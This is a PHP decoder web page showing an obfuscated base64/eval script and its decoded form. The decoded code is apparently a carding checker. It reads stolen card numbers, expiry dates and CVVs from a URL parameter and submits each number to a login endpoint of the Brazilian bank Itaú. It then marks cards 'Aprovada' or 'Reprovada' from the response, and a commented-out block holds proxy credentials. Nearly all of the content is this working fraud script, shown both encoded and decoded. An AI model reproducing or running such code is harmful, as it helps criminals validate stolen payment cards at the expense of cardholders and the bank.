Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php @eval("?>".base64_decode("PD9waHAKc2V0X3RpbWVfbGltaXQoMCk7Ci8vZXJyb3JfcmVwb3J0aW5nKD..

Decoded Output download

?>b'<?php
set_time_limit(0);
//error_reporting(0);

function getStr($string, $start, $end)
    {
      $str = explode($start, $string);
      $str = explode($end, $str[1]);
      return $str[0];
    }

    function multiexplode($delimiters, $string) {
      $one = str_replace($delimiters, $delimiters[0], $string);
      $two = explode($delimiters[0], $one);
      return $two;
  }
  
  
  $lista = $_GET[\'lista\'];
  $cc = multiexplode(array("|", ";", ":", "/", "", "", ">", "<", " "), $lista)[0];
  $mes = multiexplode(array("|", ";", ":", "/", "", "", ">", "<", " "), $lista)[1];
  $ano = multiexplode(array("|", ";", ":", "/", "", "", ">", "<", " "), $lista)[2];
  $cvv = multiexplode(array("|", ";", ":", "/", "", "", ">", "<", " "), $lista)[3];
  $time = time();
  $code = rand(001, 999);

function bin($cc)
{

    $contents = file_get_contents("bins.csv");
    $pattern = preg_quote(substr($cc, 0, 6) , \'/\');
    $pattern = "/^.*$pattern.*\$/m";
    if (preg_match_all($pattern, $contents, $matches))
    {
        $encontrada = implode("
", $matches[0]);
    }
    $pieces = explode(",", $encontrada);
    return "$pieces[4] $pieces[5] $pieces[1] $pieces[2] $pieces[3]";
}
$bin = bin($lista);



    function generateRandomString($length = 12) {
      $characters = \'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\';
      $charactersLength = strlen($characters);
      for ($i = 0; $i < $length; $i++) {
        $randomString .= $characters[rand(0, $charactersLength - 1)];
      }
      return $randomString;
    }

if(strlen($ano) == 4){
  $ano = substr($ano, 2);
}

$cctwo =  substr($cc, 0,4).\' \'.substr($cc, 4,4).\' \'.substr($cc, 8,4).\' \'.substr($cc, 12);
$c1 = substr($cc, 0,4);
$c2 = substr($cc, 4,4);
$c3 = substr($cc, 8,4);
$c4 = substr($cc, 12,4);



$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, \'https://internetnc4.itau.com.br/router-app/router\'); 
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_ENCODING, "gzip, deflate, br");
curl_setopt($ch, CURLOPT_HEADER, 1);
/*curl_setopt($ch, CURLOPT_PROXY, \'p.webshare.io:80\');
curl_setopt($ch, CURLOPT_PROXYUSERPWD, \'zjlfgfvt-rotate:dxduco59vz08\');*/
curl_setopt($ch, CURLOPT_POSTFIELDS, \'usuario.cartao=\'.$cc.\'&usuario.cpf=&portal=999&pre-login=pre-login&destino=&tipoLogon=9\');
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
\'Content-Type: application/x-www-form-urlencoded\',
\'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36\',
\'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\', 
\'Accept-Language: pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7\'
));
$inicio = curl_exec($ch);



if(strpos($inicio,\'Print de exemplo, onde um cliente consulta sua fatura enviando mensagens para o Itaucard pelo WhatsAp\')){
    echo "<span class=\'badge badge-success\' style=\'color:white\'> Aprovada </span>  </span><span class=\'badge badge-primary\' style=\'color:white\'> ".$cc."|".$mes."|20".$ano."|".$cvv." </span>  <span class=\'badge badge-info\' style=\'color:white\'> " . $bin . " </span> </span> <span class=\'badge badge-danger\' style=\'color:white\'> cartao bom mano abrace </span>  <span class=\'badge badge-info\' style=\'color:white\'>Tempo:</span>  <span class=\'badge badge-success\' style=\'color:white\'>by: @satp_1046 </span></h5><br>";


    // exit();
    // sleep(1);
}elseif(strpos($inicio,\'Caso o erro continue, entre em contato com a central de atendimento.\')){
    echo "<span class=\'badge badge-danger\' style=\'color:white\'> Reprovada  </span>  </span><span class=\'badge badge-primary\' style=\'color:white\'>  ".$cc."|".$mes."|20".$ano."|".$cvv." </span>  </span> <span class=\'badge badge-danger\' style=\'color:white\'> cartao invalido tiozao </span> <span class=\'badge badge-info\' style=\'color:white\'>Tempo:  </span>  <span class=\'badge badge-success\' style=\'color:white\'>by: @satp_1046 </span></h5><br>";

  }elseif(strpos($inicio,\'403 Forbidden\')){
    echo "<span class=\'badge badge-danger\' style=\'color:white\'> Reprovada  </span>  </span><span class=\'badge badge-primary\' style=\'color:white\'>  ".$cc."|".$mes."|20".$ano."|".$cvv." </span>  </span> <span class=\'badge badge-danger\' style=\'color:white\'> Forbidden  </span> <span class=\'badge badge-info\' style=\'color:white\'>Tempo:  </span>  <span class=\'badge badge-success\' style=\'color:white\'>by: @satp_1046 </span></h5><br>";
 
 

}else{ 
    echo "<span class=\'badge badge-danger\' style=\'color:white\'> Reprovada  </span>  </span><span class=\'badge badge-primary\' style=\'color:white\'>  ".$cc."|".$mes."|20".$ano."|".$cvv." </span>  </span> <span class=\'badge badge-danger\' style=\'color:white\'> ERROOR  </span> <span class=\'badge badge-info\' style=\'color:white\'>Tempo:  </span>  <span class=\'badge badge-success\' style=\'color:white\'>by: @satp_1046 </span></h5><br>";

}


'

Did this file decode correctly?

Original Code

<?php @eval("?>".base64_decode("PD9waHAKc2V0X3RpbWVfbGltaXQoMCk7Ci8vZXJyb3JfcmVwb3J0aW5nKDApOwoKZnVuY3Rpb24gZ2V0U3RyKCRzdHJpbmcsICRzdGFydCwgJGVuZCkKICAgIHsKICAgICAgJHN0ciA9IGV4cGxvZGUoJHN0YXJ0LCAkc3RyaW5nKTsKICAgICAgJHN0ciA9IGV4cGxvZGUoJGVuZCwgJHN0clsxXSk7CiAgICAgIHJldHVybiAkc3RyWzBdOwogICAgfQoKICAgIGZ1bmN0aW9uIG11bHRpZXhwbG9kZSgkZGVsaW1pdGVycywgJHN0cmluZykgewogICAgICAkb25lID0gc3RyX3JlcGxhY2UoJGRlbGltaXRlcnMsICRkZWxpbWl0ZXJzWzBdLCAkc3RyaW5nKTsKICAgICAgJHR3byA9IGV4cGxvZGUoJGRlbGltaXRlcnNbMF0sICRvbmUpOwogICAgICByZXR1cm4gJHR3bzsKICB9CiAgCiAgCiAgJGxpc3RhID0gJF9HRVRbJ2xpc3RhJ107CiAgJGNjID0gbXVsdGlleHBsb2RlKGFycmF5KCJ8IiwgIjsiLCAiOiIsICIvIiwgIsK7IiwgIsKrIiwgIj4iLCAiPCIsICIgIiksICRsaXN0YSlbMF07CiAgJG1lcyA9IG11bHRpZXhwbG9kZShhcnJheSgifCIsICI7IiwgIjoiLCAiLyIsICLCuyIsICLCqyIsICI+IiwgIjwiLCAiICIpLCAkbGlzdGEpWzFdOwogICRhbm8gPSBtdWx0aWV4cGxvZGUoYXJyYXkoInwiLCAiOyIsICI6IiwgIi8iLCAiwrsiLCAiwqsiLCAiPiIsICI8IiwgIiAiKSwgJGxpc3RhKVsyXTsKICAkY3Z2ID0gbXVsdGlleHBsb2RlKGFycmF5KCJ8IiwgIjsiLCAiOiIsICIvIiwgIsK7IiwgIsKrIiwgIj4iLCAiPCIsICIgIiksICRsaXN0YSlbM107CiAgJHRpbWUgPSB0aW1lKCk7CiAgJGNvZGUgPSByYW5kKDAwMSwgOTk5KTsKCmZ1bmN0aW9uIGJpbigkY2MpCnsKCiAgICAkY29udGVudHMgPSBmaWxlX2dldF9jb250ZW50cygiYmlucy5jc3YiKTsKICAgICRwYXR0ZXJuID0gcHJlZ19xdW90ZShzdWJzdHIoJGNjLCAwLCA2KSAsICcvJyk7CiAgICAkcGF0dGVybiA9ICIvXi4qJHBhdHRlcm4uKlwkL20iOwogICAgaWYgKHByZWdfbWF0Y2hfYWxsKCRwYXR0ZXJuLCAkY29udGVudHMsICRtYXRjaGVzKSkKICAgIHsKICAgICAgICAkZW5jb250cmFkYSA9IGltcGxvZGUoIlxuIiwgJG1hdGNoZXNbMF0pOwogICAgfQogICAgJHBpZWNlcyA9IGV4cGxvZGUoIiwiLCAkZW5jb250cmFkYSk7CiAgICByZXR1cm4gIiRwaWVjZXNbNF0gJHBpZWNlc1s1XSAkcGllY2VzWzFdICRwaWVjZXNbMl0gJHBpZWNlc1szXSI7Cn0KJGJpbiA9IGJpbigkbGlzdGEpOwoKCgogICAgZnVuY3Rpb24gZ2VuZXJhdGVSYW5kb21TdHJpbmcoJGxlbmd0aCA9IDEyKSB7CiAgICAgICRjaGFyYWN0ZXJzID0gJzAxMjM0NTY3ODlhYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ekFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaJzsKICAgICAgJGNoYXJhY3RlcnNMZW5ndGggPSBzdHJsZW4oJGNoYXJhY3RlcnMpOwogICAgICBmb3IgKCRpID0gMDsgJGkgPCAkbGVuZ3RoOyAkaSsrKSB7CiAgICAgICAgJHJhbmRvbVN0cmluZyAuPSAkY2hhcmFjdGVyc1tyYW5kKDAsICRjaGFyYWN0ZXJzTGVuZ3RoIC0gMSldOwogICAgICB9CiAgICAgIHJldHVybiAkcmFuZG9tU3RyaW5nOwogICAgfQoKaWYoc3RybGVuKCRhbm8pID09IDQpewogICRhbm8gPSBzdWJzdHIoJGFubywgMik7Cn0KCiRjY3R3byA9ICBzdWJzdHIoJGNjLCAwLDQpLicgJy5zdWJzdHIoJGNjLCA0LDQpLicgJy5zdWJzdHIoJGNjLCA4LDQpLicgJy5zdWJzdHIoJGNjLCAxMik7CiRjMSA9IHN1YnN0cigkY2MsIDAsNCk7CiRjMiA9IHN1YnN0cigkY2MsIDQsNCk7CiRjMyA9IHN1YnN0cigkY2MsIDgsNCk7CiRjNCA9IHN1YnN0cigkY2MsIDEyLDQpOwoKCgokY2ggPSBjdXJsX2luaXQoKTsKY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJ2h0dHBzOi8vaW50ZXJuZXRuYzQuaXRhdS5jb20uYnIvcm91dGVyLWFwcC9yb3V0ZXInKTsgCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7CmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9FTkNPRElORywgImd6aXAsIGRlZmxhdGUsIGJyIik7CmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IRUFERVIsIDEpOwovKmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QUk9YWSwgJ3Aud2Vic2hhcmUuaW86ODAnKTsKY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BST1hZVVNFUlBXRCwgJ3pqbGZnZnZ0LXJvdGF0ZTpkeGR1Y281OXZ6MDgnKTsqLwpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVEZJRUxEUywgJ3VzdWFyaW8uY2FydGFvPScuJGNjLicmdXN1YXJpby5jcGY9JnBvcnRhbD05OTkmcHJlLWxvZ2luPXByZS1sb2dpbiZkZXN0aW5vPSZ0aXBvTG9nb249OScpOwpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSFRUUEhFQURFUiwgYXJyYXkoCidDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCcsCidVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoWDExOyBMaW51eCB4ODZfNjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xMDIuMC4wLjAgU2FmYXJpLzUzNy4zNicsCidBY2NlcHQ6IHRleHQvaHRtbCxhcHBsaWNhdGlvbi94aHRtbCt4bWwsYXBwbGljYXRpb24veG1sO3E9MC45LGltYWdlL2F2aWYsaW1hZ2Uvd2VicCxpbWFnZS9hcG5nLCovKjtxPTAuOCxhcHBsaWNhdGlvbi9zaWduZWQtZXhjaGFuZ2U7dj1iMztxPTAuOScsIAonQWNjZXB0LUxhbmd1YWdlOiBwdC1CUixwdDtxPTAuOSxlbi1VUztxPTAuOCxlbjtxPTAuNycKKSk7CiRpbmljaW8gPSBjdXJsX2V4ZWMoJGNoKTsKCgoKaWYoc3RycG9zKCRpbmljaW8sJ1ByaW50IGRlIGV4ZW1wbG8sIG9uZGUgdW0gY2xpZW50ZSBjb25zdWx0YSBzdWEgZmF0dXJhIGVudmlhbmRvIG1lbnNhZ2VucyBwYXJhIG8gSXRhdWNhcmQgcGVsbyBXaGF0c0FwJykpewogICAgZWNobyAiPHNwYW4gY2xhc3M9J2JhZGdlIGJhZGdlLXN1Y2Nlc3MnIHN0eWxlPSdjb2xvcjp3aGl0ZSc+4pyUIEFwcm92YWRhIDwvc3Bhbj4g4p6UIDwvc3Bhbj48c3BhbiBjbGFzcz0nYmFkZ2UgYmFkZ2UtcHJpbWFyeScgc3R5bGU9J2NvbG9yOndoaXRlJz4gIi4kY2MuInwiLiRtZXMuInwyMCIuJGFuby4ifCIuJGN2di4iIDwvc3Bhbj4g4p6cIDxzcGFuIGNsYXNzPSdiYWRnZSBiYWRnZS1pbmZvJyBzdHlsZT0nY29sb3I6d2hpdGUnPiAiIC4gJGJpbiAuICIgPC9zcGFuPiDinpw8L3NwYW4+IDxzcGFuIGNsYXNzPSdiYWRnZSBiYWRnZS1kYW5nZXInIHN0eWxlPSdjb2xvcjp3aGl0ZSc+IGNhcnRhbyBib20gbWFubyBhYnJhY2UgPC9zcGFuPiDinpwgPHNwYW4gY2xhc3M9J2JhZGdlIGJhZGdlLWluZm8nIHN0eWxlPSdjb2xvcjp3aGl0ZSc+VGVtcG86PC9zcGFuPiDinpwgPHNwYW4gY2xhc3M9J2JhZGdlIGJhZGdlLXN1Y2Nlc3MnIHN0eWxlPSdjb2xvcjp3aGl0ZSc+Ynk6IEBzYXRwXzEwNDYgPC9zcGFuPjwvaDU+PGJyPiI7CgoKICAgIC8vIGV4aXQoKTsKICAgIC8vIHNsZWVwKDEpOwp9ZWxzZWlmKHN0cnBvcygkaW5pY2lvLCdDYXNvIG8gZXJybyBjb250aW51ZSwgZW50cmUgZW0gY29udGF0byBjb20gYSBjZW50cmFsIGRlIGF0ZW5kaW1lbnRvLicpKXsKICAgIGVjaG8gIjxzcGFuIGNsYXNzPSdiYWRnZSBiYWRnZS1kYW5nZXInIHN0eWxlPSdjb2xvcjp3aGl0ZSc+4pyW77iPIFJlcHJvdmFkYSAgPC9zcGFuPiDinpQgPC9zcGFuPjxzcGFuIGNsYXNzPSdiYWRnZSBiYWRnZS1wcmltYXJ5JyBzdHlsZT0nY29sb3I6d2hpdGUnPiAgIi4kY2MuInwiLiRtZXMuInwyMCIuJGFuby4ifCIuJGN2di4iIDwvc3Bhbj4g4p6UIDwvc3Bhbj4gPHNwYW4gY2xhc3M9J2JhZGdlIGJhZGdlLWRhbmdlcicgc3R5bGU9J2NvbG9yOndoaXRlJz4gY2FydGFvIGludmFsaWRvIHRpb3phbyA8L3NwYW4+4p6cIDxzcGFuIGNsYXNzPSdiYWRnZSBiYWRnZS1pbmZvJyBzdHlsZT0nY29sb3I6d2hpdGUnPlRlbXBvOiAgPC9zcGFuPiDinpwgPHNwYW4gY2xhc3M9J2JhZGdlIGJhZGdlLXN1Y2Nlc3MnIHN0eWxlPSdjb2xvcjp3aGl0ZSc+Ynk6IEBzYXRwXzEwNDYgPC9zcGFuPjwvaDU+PGJyPiI7CgogIH1lbHNlaWYoc3RycG9zKCRpbmljaW8sJzQwMyBGb3JiaWRkZW4nKSl7CiAgICBlY2hvICI8c3BhbiBjbGFzcz0nYmFkZ2UgYmFkZ2UtZGFuZ2VyJyBzdHlsZT0nY29sb3I6d2hpdGUnPuKclu+4jyBSZXByb3ZhZGEgIDwvc3Bhbj4g4p6UIDwvc3Bhbj48c3BhbiBjbGFzcz0nYmFkZ2UgYmFkZ2UtcHJpbWFyeScgc3R5bGU9J2NvbG9yOndoaXRlJz4gICIuJGNjLiJ8Ii4kbWVzLiJ8MjAiLiRhbm8uInwiLiRjdnYuIiA8L3NwYW4+IOKelCA8L3NwYW4+IDxzcGFuIGNsYXNzPSdiYWRnZSBiYWRnZS1kYW5nZXInIHN0eWxlPSdjb2xvcjp3aGl0ZSc+IEZvcmJpZGRlbiAgPC9zcGFuPuKenCA8c3BhbiBjbGFzcz0nYmFkZ2UgYmFkZ2UtaW5mbycgc3R5bGU9J2NvbG9yOndoaXRlJz5UZW1wbzogIDwvc3Bhbj4g4p6cIDxzcGFuIGNsYXNzPSdiYWRnZSBiYWRnZS1zdWNjZXNzJyBzdHlsZT0nY29sb3I6d2hpdGUnPmJ5OiBAc2F0cF8xMDQ2IDwvc3Bhbj48L2g1Pjxicj4iOwogCiAKCn1lbHNleyAKICAgIGVjaG8gIjxzcGFuIGNsYXNzPSdiYWRnZSBiYWRnZS1kYW5nZXInIHN0eWxlPSdjb2xvcjp3aGl0ZSc+4pyW77iPIFJlcHJvdmFkYSAgPC9zcGFuPiDinpQgPC9zcGFuPjxzcGFuIGNsYXNzPSdiYWRnZSBiYWRnZS1wcmltYXJ5JyBzdHlsZT0nY29sb3I6d2hpdGUnPiAgIi4kY2MuInwiLiRtZXMuInwyMCIuJGFuby4ifCIuJGN2di4iIDwvc3Bhbj4g4p6UIDwvc3Bhbj4gPHNwYW4gY2xhc3M9J2JhZGdlIGJhZGdlLWRhbmdlcicgc3R5bGU9J2NvbG9yOndoaXRlJz4gRVJST09SICA8L3NwYW4+4p6cIDxzcGFuIGNsYXNzPSdiYWRnZSBiYWRnZS1pbmZvJyBzdHlsZT0nY29sb3I6d2hpdGUnPlRlbXBvOiAgPC9zcGFuPiDinpwgPHNwYW4gY2xhc3M9J2JhZGdlIGJhZGdlLXN1Y2Nlc3MnIHN0eWxlPSdjb2xvcjp3aGl0ZSc+Ynk6IEBzYXRwXzEwNDYgPC9zcGFuPjwvaDU+PGJyPiI7Cgp9CgoK"));//Generated by Ampare PHP Encoder. For more security please use php protect before encode the php program

Function Calls

base64_decode 1

Variables

None

Stats

MD5 bb2ec76dfb886ea8053509272382cdc7
Eval Count 1
Decode Time 53 ms